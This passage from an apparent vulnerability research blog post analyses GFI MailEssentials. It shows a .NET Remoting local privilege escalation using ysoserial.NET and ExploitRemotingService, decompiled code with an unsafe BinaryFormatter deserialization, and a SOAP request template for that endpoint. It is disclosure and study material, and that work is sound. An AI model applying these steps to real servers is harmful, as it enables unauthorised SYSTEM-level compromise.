<p>Of course, this is an incomplete list and also special to this specific product, but Microsoft provides excellent online documentation for every single attribute.
Speaking of “special to this product”, I spotted a <code class="language-plaintext highlighter-rouge">web.config</code> section of special interest almost immediately: <code class="language-plaintext highlighter-rouge">&lt;system.runtime.remoting&gt;</code>.
This seems to match with the namespace of the famous .NET Remoting technology <code class="language-plaintext highlighter-rouge">System.Runtime.Remoting</code>. And indeed, I found several examples on older
blogs about people using <code class="language-plaintext highlighter-rouge">&lt;system.runtime.remoting&gt;</code> sections to define well-known types with its implementing class(es) referenced. Up to this point,
I’ve mostly seen .NET Remoting being used in a purely programmatic sense. In case of GFI MailEssentials,
this declarative alternative looks a bit different:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;system.runtime.remoting&gt;</span>
  <span class="nt">&lt;application</span> <span class="na">name=</span><span class="s">"MEComplete"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;client</span> <span class="na">url=</span><span class="s">"tcp://localhost:8013"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.Reporting.Base.IReporting, MEC.Reporting.Base"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9093/Report"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.ConfigurationServices.ConfigurationService, MEC.ConfigurationServices"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/ConfigurationServices"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.Configuration.Base.IRemotingHelper, MEC.Configuration.Base"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/RemotingHelper"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.Configuration.Base.IPatchChecker, MEC.Configuration.Base"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/PatchChecker"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.Configuration.Base.RemotingHelper, MEC.Configuration"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/RemotingHelper"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.RemoteMonitor.RemotingMonitor, MEC.RemoteMonitor"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/ContentSecurity/RemoteMonitor"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"ContentSecurity.ML.QSS.QuarantineStoreServices, ContentSecurity.ML.QSS"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9093/ContentSecurity/QuarantineServices"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.RSSRemotePlugin.RSSRemotePlugin, MEC.RSSRemotePlugin"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9093/ContentSecurity/RemoteRSS"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"ContentSecurity.ML.Quar.IQuar, ContentSecurity.ML.Quar.Base"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9093/ContentSecurity/Quar"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"ContentSecurity.ML.QSS.IQuarantineStore, ContentSecurity.ML.QSS.Base"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9093/ContentSecurity/QuarantineServices"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"MEC.ConfigurationServices.IRuleDb, MEC.ConfigurationServices.Base"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/ConfigurationServices"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"ContentSecurity.ML.AST.WdPFolders.PublicFolderTraining, ContentSecurity.ML.AST.WdPFolders"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/ContentSecurity/PublicFolderTraining"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;wellknown</span> <span class="na">type=</span><span class="s">"ContentSecurity.ML.AST.EWSPFolders.PublicFolderTraining, ContentSecurity.ML.AST.EWSPFolders"</span> <span class="na">url=</span><span class="s">"tcp://localhost:9091/ContentSecurity/PublicFolderTrainingEWS"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/client&gt;</span>
  <span class="nt">&lt;/application&gt;</span>
<span class="nt">&lt;/system.runtime.remoting&gt;</span>
</code></pre></div></div>

<p>Remoting sounds pretty much like “remote”, but you might be surprised how often one finds inter-process communication on the same machine with this technology even nowadays.
We all, hopefully, know that .NET Remoting is a gift for vulnerability researchers. I highly recommend you to read about a <a href="https://code-white.com/blog/2022-01-dotnet-remoting-revisited/">series</a> <a href="https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/">of</a> <a href="https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/">blogs</a> of my colleague @mwulftange.
He basically destroyed the last hopes on making .NET Remoting secure and even Microsoft marked it as an obsolete and dangerous technique these days.</p>

<h1 id="vulnerability-i---built-in-local-privilege-escalation">Vulnerability I - Built-in Local Privilege Escalation</h1>

<p>From the referenced blogs above, you learnt about different channel sink variants (<code class="language-plaintext highlighter-rouge">HTTPServerChannel</code>, <code class="language-plaintext highlighter-rouge">IPCServerChannel</code>, <code class="language-plaintext highlighter-rouge">TCPServerChannel</code>) and its different constellations
with .NET formatters. Obviously, we see that the well-known services are based on the TCP variant and its most common serializer <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.Formatters.Binary.BinaryFormatter</code>.
So without diving into the code, just by looking at the configuration files, we might be brave enough to simply use the existing .NET Remoting knowledge and tooling
for a first quick finding: a local privilege escalation.</p>

<p>All we need is a low-priv user, we call him <code class="language-plaintext highlighter-rouge">nonadmin</code>. Then a malicious serialized object, later being deserialized by our friend <code class="language-plaintext highlighter-rouge">BinaryFormatter</code>, has to be created with <a href="https://github.com/pwntester/ysoserial.net">ysoserial .NET</a>.
Deliver this payload then with James Forshaw’s tooling <a href="https://github.com/tyranid/ExploitRemotingService">ExploitRemotingService</a>. Let’s see this in action (GIF video links can be found in captions).</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_lpe.png" alt="LPE" />
<strong>See the full GIF video <a href="/assets/images/mailessentials/gfiblog_lpe.gif">here</a></strong></p>

<p>SYSTEM is ours!</p>

<h1 id="vulnerability-ii---more-deserialization-please">Vulnerability II - More Deserialization Please</h1>

<p>Using .NET Remoting seems to be a bit outdated, indeed. So maybe we find another use of dangerous deserialization issues.
But before diving into this kind of variant analysis, further enumeration is needed. We don’t want to miss attack surface, do we?
Back to the <code class="language-plaintext highlighter-rouge">inetmgr</code>, two more applications were shown: <code class="language-plaintext highlighter-rouge">MailEssentials_Services</code> and <code class="language-plaintext highlighter-rouge">MailEssentialsRSS</code>. If you didn’t browse to the
corresponding endpoints yet, do it now. Otherwhise, your IIS worker processes <code class="language-plaintext highlighter-rouge">w3wp.exe</code> won’t show up in the process list and therefore not
in your favourite .NET decompiler tool (which in my case is still <a href="https://github.com/dnSpy/dnSpy">dnSpy</a> most of the time). Also keep in mind, that
you might find 32-bit and/or 64-bit optimized .NET processes running. This is why I always open both dnSpy versions in parallel to make sure
that I don’t miss any related processes. Turns out, that was a good idea in the first place for GFI MailEssentials.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_dnspy64.png" alt="dnSpy64 Processes" /></p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_dnspy32.png" alt="dnSpy32 Processes" /></p>

<p>But only in the 64-bit version, we observe IIS worker processes, ready to be attached by our tooling. If you’ve enough machine power available (especially lots of RAM),
during the enumeration phase I recommend to attach to all processes at once; at least in the first few rounds of your investigation. Then press Crtl+Alt+U and choose “Open All Modules” in the context menu
to get the full blown package of .NET Assemblies loaded.</p>

<p>Since we see a lot of GFI MailEssentials processes, these processes probably have to communicate with each other a lot. We’ve already seen one potential
technology being used for this: .NET Remoting using <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> de/serialization.</p>

<p>Now, I assumed that this formatter might be used in other ways, too. So in dnSpy we call for decompilation of <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.Formatters.Binary.BinaryFormatter</code>.
We press Crtl+Shift+R to call the “Analyze” function, searching for all uses of this class.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_bfusages.png" alt="BF Users" /></p>

<p>This returns a large amount of GFI MailEssentials classes but also other 3rd party libraries.
Scrolling through the findings finally led me to an interesting <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::Deserialize(System.IO.Stream)</code> call at
<code class="language-plaintext highlighter-rouge">MailEssentialsClientService.MasterClass/MultiNodeService::InstallClientCertificate(System.IO.Stream)</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">InstallClientCertificate</span><span class="p">(</span><span class="n">Stream</span> <span class="n">certificateStream</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">MasterClass</span><span class="p">.</span><span class="n">MultiNodeService</span><span class="p">.</span><span class="n">Log</span><span class="p">.</span><span class="nf">Info</span><span class="p">(</span><span class="s">"InstallClientCertificate() &gt;&gt;"</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[</span><span class="m">0</span><span class="p">]);</span>
	<span class="k">try</span>
	<span class="p">{</span>
		<span class="n">IRemotingHelper</span> <span class="n">@object</span> <span class="p">=</span> <span class="n">MasterClass</span><span class="p">.</span><span class="n">MultiNodeService</span><span class="p">.</span><span class="n">_activator</span><span class="p">.</span><span class="n">GetObject</span><span class="p">&lt;</span><span class="n">IRemotingHelper</span><span class="p">&gt;();</span>
		<span class="n">MemoryStream</span> <span class="n">memoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">();</span>
		<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">10000</span><span class="p">];</span>
		<span class="kt">int</span> <span class="n">num</span><span class="p">;</span>
		<span class="k">do</span>
		<span class="p">{</span>
			<span class="n">num</span> <span class="p">=</span> <span class="n">certificateStream</span><span class="p">.</span><span class="nf">Read</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">array</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span> <span class="c1">// [1]</span>
			<span class="n">memoryStream</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">array</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">num</span><span class="p">);</span> <span class="c1">// [2]</span>
		<span class="p">}</span>
		<span class="k">while</span> <span class="p">(</span><span class="n">num</span> <span class="p">&gt;</span> <span class="m">0</span><span class="p">);</span>
		<span class="n">memoryStream</span><span class="p">.</span><span class="n">Position</span> <span class="p">=</span> <span class="m">0L</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">memoryStream</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">using</span> <span class="p">(</span><span class="n">memoryStream</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">BinaryFormatter</span> <span class="n">binaryFormatter</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BinaryFormatter</span><span class="p">();</span>
				<span class="n">memoryStream</span><span class="p">.</span><span class="nf">Seek</span><span class="p">(</span><span class="m">0L</span><span class="p">,</span> <span class="n">SeekOrigin</span><span class="p">.</span><span class="n">Begin</span><span class="p">);</span>
				<span class="n">X509Certificate2</span> <span class="n">x509Certificate</span> <span class="p">=</span> <span class="p">(</span><span class="n">X509Certificate2</span><span class="p">)</span><span class="n">binaryFormatter</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">memoryStream</span><span class="p">);</span> <span class="c1">// [3]</span>
				<span class="n">@object</span><span class="p">.</span><span class="nf">CreateCertificate</span><span class="p">(</span><span class="n">x509Certificate</span><span class="p">,</span> <span class="s">"GFIMailEssentials"</span><span class="p">,</span> <span class="n">X509FindType</span><span class="p">.</span><span class="n">FindBySubjectName</span><span class="p">,</span> <span class="n">StoreName</span><span class="p">.</span><span class="n">TrustedPeople</span><span class="p">,</span> <span class="n">StoreLocation</span><span class="p">.</span><span class="n">LocalMachine</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">Environment</span><span class="p">.</span><span class="n">OSVersion</span><span class="p">.</span><span class="n">Version</span><span class="p">.</span><span class="n">Major</span> <span class="p">==</span> <span class="m">5</span> <span class="p">&amp;&amp;</span> <span class="n">Environment</span><span class="p">.</span><span class="n">OSVersion</span><span class="p">.</span><span class="n">Version</span><span class="p">.</span><span class="n">Minor</span> <span class="p">==</span> <span class="m">2</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="n">@object</span><span class="p">.</span><span class="nf">CreateCertificate</span><span class="p">(</span><span class="n">x509Certificate</span><span class="p">,</span> <span class="s">"GFIMailEssentials"</span><span class="p">,</span> <span class="n">X509FindType</span><span class="p">.</span><span class="n">FindBySubjectName</span><span class="p">,</span> <span class="n">StoreName</span><span class="p">.</span><span class="n">Root</span><span class="p">,</span> <span class="n">StoreLocation</span><span class="p">.</span><span class="n">LocalMachine</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
				<span class="p">}</span>
			<span class="p">}</span>
		<span class="p">}</span>
	<span class="p">}</span>
  <span class="c1">// ...</span>
</code></pre></div></div>

<p>The method takes a <code class="language-plaintext highlighter-rouge">System.IO.Stream</code> parameter <code class="language-plaintext highlighter-rouge">certificateStream</code> which is read into a byte array [1] and then written into a <code class="language-plaintext highlighter-rouge">System.IO.MemoryStream</code> [2].
The content gets deserialized by calling <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::Deserialize(System.IO.Stream)</code> [3] without any further
protections/defenses. Where is this <code class="language-plaintext highlighter-rouge">certificateStream</code> coming from? Can we control it?</p>

<p>By using the dnSpy Analyzer, we follow the method’s call back to <code class="language-plaintext highlighter-rouge">MailEssentialsClientService.MultiNodeConfigurationService::InstallClientCertificate(System.IO.Stream)</code>.</p>

<p><code class="language-plaintext highlighter-rouge">MailEssentialsClientService.MultiNodeConfigurationService</code> is annotated with the attribute <a href="https://learn.microsoft.com/en-us/dotnet/api/system.servicemodel.servicebehaviorattribute?view=netframework-4.8.1"><code class="language-plaintext highlighter-rouge">System.ServiceModel.ServiceBehaviorAttribute</code></a>.
Looking at the interface <code class="language-plaintext highlighter-rouge">MEC.Configuration.Base.IMultiNodeConfigurationService</code>, the attribute use of <a href="https://learn.microsoft.com/en-us/dotnet/api/system.servicemodel.servicecontractattribute?view=netframework-4.8.1"><code class="language-plaintext highlighter-rouge">System.ServiceModel.ServiceContractAttribute</code></a> is revealed.</p>

<blockquote>
  <p>Indicates that an interface or a class defines a service contract in a Windows Communication Foundation (WCF) application.</p>
</blockquote>

<p>Let’s search for web service artifacts again on the file system, e.g. for <code class="language-plaintext highlighter-rouge">.svc</code> file extensions. We find it at <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\GFI\MailEssentials\wwwservices\MultiNodeConfigurationService.svc</code>.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_multinodeconfservice.png" alt="MultiNodeConfigurationService" /></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;</span>%@ ServiceHost Language="C#" Debug="true" Service="MailEssentialsClientService.MultiNodeConfigurationService" CodeBehind="MultiNodeConfigurationService.svc.cs" %&gt;
</code></pre></div></div>

<p>Browsing to <code class="language-plaintext highlighter-rouge">/MailEssentials_Services/MultiNodeConfigurationService.svc</code> shows us the standard service page with examples for client stubs etc., and of course also
the link to the WSDL URI. Calling the path gives us the interface description with all of its methods, parameters etc.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_wsdlfetch.png" alt="WSDL Fetch" /></p>

<p>Using the good old <a href="https://github.com/portswigger/wsdler">Burp Suite WSDLer</a> is a convenient way to build request templates for each remote method call.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_wsdler.png" alt="WSDLer" /></p>

<p>And here we are, with a template for our <code class="language-plaintext highlighter-rouge">InstallClientCertificate</code> method call.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /MailEssentials_Services/MultiNodeConfigurationService.svc HTTP/1.1
Connection: keep-alive
Referer: http://[HOST]/MailEssentials_Services/MultiNodeConfigurationService.svc
SOAPAction: http://tempuri.org/IMultiNodeConfigurationService/InstallClientCertificate
Content-Type: text/xml;charset=UTF-8
Host: [HOST]
Content-Length: [CONTENT_LENGTH]

&lt;soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"&gt;
   &lt;soap:Header/&gt;
   &lt;soap:Body&gt;
      &lt;tem:InstallClientCertificate&gt;
         &lt;!--type: StreamBody--&gt;
         &lt;tem:certificateStream&gt;ZQ==&lt;/tem:certificateStream&gt;
      &lt;/tem:InstallClientCertificate&gt;
   &lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
</code></pre></div></div>

<p>Putting a malicious serialized object in Base64 encoded format into <code class="language-plaintext highlighter-rouge">&lt;tem:certificateStream/&gt;</code> should be a piece of cake.
Sending this to the Burp Suite Repeater (after correcting the content type to <code class="language-plaintext highlighter-rouge">Content-Type: application/soap+xml; charset=utf-8</code>),
I got a 500 status code response which wasn’t too bad but the response body content was a bit unexpected.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;s:Envelope</span> <span class="na">xmlns:s=</span><span class="s">"http://www.w3.org/2003/05/soap-envelope"</span>
    <span class="na">xmlns:a=</span><span class="s">"http://www.w3.org/2005/08/addressing"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;s:Header&gt;</span>
        <span class="nt">&lt;a:Action</span> <span class="na">s:mustUnderstand=</span><span class="s">"1"</span><span class="nt">&gt;</span>http://www.w3.org/2005/08/addressing/soap/fault<span class="nt">&lt;/a:Action&gt;</span>
    <span class="nt">&lt;/s:Header&gt;</span>
    <span class="nt">&lt;s:Body&gt;</span>
        <span class="nt">&lt;s:Fault&gt;</span>
            <span class="nt">&lt;s:Code&gt;</span>
                <span class="nt">&lt;s:Value&gt;</span>s:Sender<span class="nt">&lt;/s:Value&gt;</span>
                <span class="nt">&lt;s:Subcode&gt;</span>
                    <span class="nt">&lt;s:Value</span>
                        <span class="na">xmlns:a=</span><span class="s">"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"</span><span class="nt">&gt;</span>
                        a:InvalidSecurity<span class="nt">&lt;/s:Value&gt;</span>
                <span class="nt">&lt;/s:Subcode&gt;</span>
            <span class="nt">&lt;/s:Code&gt;</span>
            <span class="nt">&lt;s:Reason&gt;</span>
                <span class="nt">&lt;s:Text</span> <span class="na">xml:lang=</span><span class="s">"de-DE"</span><span class="nt">&gt;</span>An error occurred when verifying security for the message.<span class="nt">&lt;/s:Text&gt;</span>
            <span class="nt">&lt;/s:Reason&gt;</span>
        <span class="nt">&lt;/s:Fault&gt;</span>
    <span class="nt">&lt;/s:Body&gt;</span>
<span class="nt">&lt;/s:Envelope&gt;</span>
</code></pre></div></div>

<p>“Verifying security” and a reference to <a href="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd</a> wasn’t encouraging. Googling for the terms brought me to an OASIS specification <a href="https://docs.oasis-open.org/wss/v1.1/wss-v1.1-spec-pr-SOAPMessageSecurity-01.htm">Web Services Security: SOAP Message Security 1.1 (WS-Security 2004)</a> about SOAP message security. Message-based encryption and/or signature for SOAP
web services didn’t look very promising to me reaching a quick PoC level. After reading a bit of RFCs and protocol specifications, I decided to go back for the
GFI specifics, so I looked at the <code class="language-plaintext highlighter-rouge">web.config</code> belonging to <code class="language-plaintext highlighter-rouge">wwwservices</code>, collecting some new ideas.</p>

<p>A small side note: for error scenarios like this, I love to use dnSpy as well. Simply set “exception breakpoints”</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_enableexcpbp.png" alt="Enable Exception Breakpoints" /></p>

<p>and send the request again.</p>

<p style="text-align: center;"><img src="/assets/images/mailessentials/gfiblog_exchit.png" alt="Exception Hit" /></p>

<p>The exception message gives us a bit more details.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>System.ServiceModel.Security.MessageSecurityException: Security processor was unable to find a security header in the message. This might be because the message is an unsecured fault or because there is a binding mismatch between the communicating parties. This can occur if the service is configured for security and the client is not using security.
   at System.ServiceModel.Security.SecurityStandardsManager.CreateReceiveSecurityHeader(Message message, String actor, SecurityAlgorithmSuite algorithmSuite, MessageDirection direction)}	System.ServiceModel.Security.MessageSecurityException
</code></pre></div></div>

<p>But back to the <code class="language-plaintext highlighter-rouge">web.config</code> approach. The first hints were found in the root section <code class="language-plaintext highlighter-rouge">&lt;system.serviceModel&gt;</code> and its children below <code class="language-plaintext highlighter-rouge">&lt;services&gt;</code>. An excerpt for the web service we’re interested in is shown next.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;service</span> <span class="na">behaviorConfiguration=</span><span class="s">"MailEssentialsClientService.MultiNodeConfigurationService"</span> <span class="na">name=</span><span class="s">"MailEssentialsClientService.MultiNodeConfigurationService"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;endpoint</span> <span class="na">address=</span><span class="s">""</span> <span class="na">binding=</span><span class="s">"customBinding"</span> <span class="na">bindingConfiguration=</span><span class="s">"MaxClockSkewBinding"</span> <span class="na">contract=</span><span class="s">"MEC.Configuration.Base.IMultiNodeConfigurationService"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;endpoint</span> <span class="na">address=</span><span class="s">"mex"</span> <span class="na">binding=</span><span class="s">"mexHttpBinding"</span> <span class="na">contract=</span><span class="s">"IMetadataExchange"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;/service&gt;</span>
</code></pre></div></div>

<p>But even more interesting were the descriptions under <code class="language-plaintext highlighter-rouge">&lt;behaviors&gt; -&gt; &lt;serviceBehaviors&gt;</code> sections, again for our specific service the corresponding snippet.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;behavior</span> <span class="na">name=</span><span class="s">"MailEssentialsClientService.MultiNodeConfigurationService"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;serviceMetadata</span> <span class="na">httpGetEnabled=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;serviceDebug</span> <span class="na">includeExceptionDetailInFaults=</span><span class="s">"true"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;serviceCredentials&gt;</span>
    <span class="nt">&lt;serviceCertificate</span> <span class="na">findValue=</span><span class="s">"GFIMailEssentials"</span> <span class="na">x509FindType=</span><span class="s">"FindBySubjectName"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;userNameAuthentication</span> <span class="na">userNamePasswordValidationMode=</span><span class="s">"Custom"</span> <span class="na">customUserNamePasswordValidatorType=</span><span class="s">"MailEssentialsClientService.CustomUserNameValidator, MailEssentialsClientService"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/serviceCredentials&gt;</span>
  <span class="nt">&lt;serviceSecurityAudit</span> <span class="na">auditLogLocation=</span><span class="s">"Application"</span> <span class="na">suppressAuditFailure=</span><span class="s">"true"</span> <span class="na">serviceAuthorizationAuditLevel=</span><span class="s">"Failure"</span> <span class="na">messageAuthenticationAuditLevel=</span><span class="s">"Failure"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;/behavior&gt;</span>
</code></pre></div></div>

<p>The <a href="https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/wcf/servicecredentials"><code class="language-plaintext highlighter-rouge">&lt;serviceCredentials&gt;</code></a> sections</p>

<blockquote>
  <p>Specifies the credential to be used in authenticating the service and the client credential validation-related settings.</p>
</blockquote>

<p>Especially, the <a href="https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/wcf/usernameauthentication"><code class="language-plaintext highlighter-rouge">&lt;userNameAuthentication&gt;</code></a> was completely new to me. We see a <em>“custom” username and password validation mode</em> and its <code class="language-plaintext highlighter-rouge">customUserNamePasswordValidatorType</code> to <code class="language-plaintext highlighter-rouge">MailEssentialsClientService.CustomUserNameValidator</code>.
And yes, the class exists and extends <code class="language-plaintext highlighter-rouge">System.IdentityModel.Selectors.UserNamePasswordValidator</code>. Especially, overwriting the <code class="language-plaintext highlighter-rouge">System.IdentityModel.Selectors.UserNamePasswordValidator::Validate(System.String,System.String)</code> method gives full control over the authentication implementation. So the custom implementation in
<code class="language-plaintext highlighter-rouge">MailEssentialsClientService.CustomUserNameValidator::Validate(System.String,System.String)</code> looks like this.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">Validate</span><span class="p">(</span><span class="kt">string</span> <span class="n">userName</span><span class="p">,</span> <span class="kt">string</span> <span class="n">password</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">try</span>
	<span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">RemotingConfiguration</span><span class="p">.</span><span class="n">ApplicationName</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="n">RemotingConfiguration</span><span class="p">.</span><span class="nf">Configure</span><span class="p">(</span><span class="n">AppDomain</span><span class="p">.</span><span class="n">CurrentDomain</span><span class="p">.</span><span class="n">SetupInformation</span><span class="p">.</span><span class="n">ConfigurationFile</span><span class="p">,</span> <span class="k">false</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="n">AppDomain</span><span class="p">.</span><span class="n">CurrentDomain</span><span class="p">.</span><span class="nf">SetData</span><span class="p">(</span><span class="s">"SQLServerCompactEditionUnderWebHosting"</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
		<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="s">"ValidateCredentials..."</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
		<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="s">"ValidateCredentials... Username: {0}"</span><span class="p">,</span> <span class="n">userName</span><span class="p">),</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrWhiteSpace</span><span class="p">(</span><span class="n">userName</span><span class="p">)</span> <span class="p">||</span> <span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrWhiteSpace</span><span class="p">(</span><span class="n">password</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogWarning</span><span class="p">(</span><span class="s">"ValidateCredentials... Username or password is null!"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
			<span class="k">throw</span> <span class="k">new</span> <span class="nf">FaultException</span><span class="p">(</span><span class="s">"Wrong username or password!"</span><span class="p">,</span> <span class="k">new</span> <span class="nf">FaultCode</span><span class="p">(</span><span class="s">"WrongUserNameOrPassword"</span><span class="p">));</span>
		<span class="p">}</span>
		<span class="n">IRemotingHelper</span> <span class="n">remotingHelperInstance</span> <span class="p">=</span> <span class="n">MasterClass</span><span class="p">.</span><span class="nf">GetRemotingHelperInstance</span><span class="p">();</span>
		<span class="kt">bool</span> <span class="n">usingActiveDirectory</span> <span class="p">=</span> <span class="n">remotingHelperInstance</span><span class="p">.</span><span class="nf">GetUserManagementObject</span><span class="p">().</span><span class="n">UsingActiveDirectory</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">usingActiveDirectory</span><span class="p">)</span> <span class="c1">// [4]</span>
		<span class="p">{</span>
			<span class="n">MasterClass</span><span class="p">.</span><span class="nf">LogDebug</span><span class="p">(</span><span class="s">"ValidateCredentials... Active Directory authentication"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">category</span><span class="p">);</span>
			<span class="k">if</span> <span class="p">(!</span><span class="n">userName</span><span class="p">.</span><span class="nf">Contains</span><span class="p">(</span><span class="sc">'\\'</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="p">!</span><span class="n">userName</span><span class="p">.</span><span class="nf">Contains</span><span class="p">(</span><span class="sc">'@'</span><span class="p">))</span>
			<span class="p">{</span>
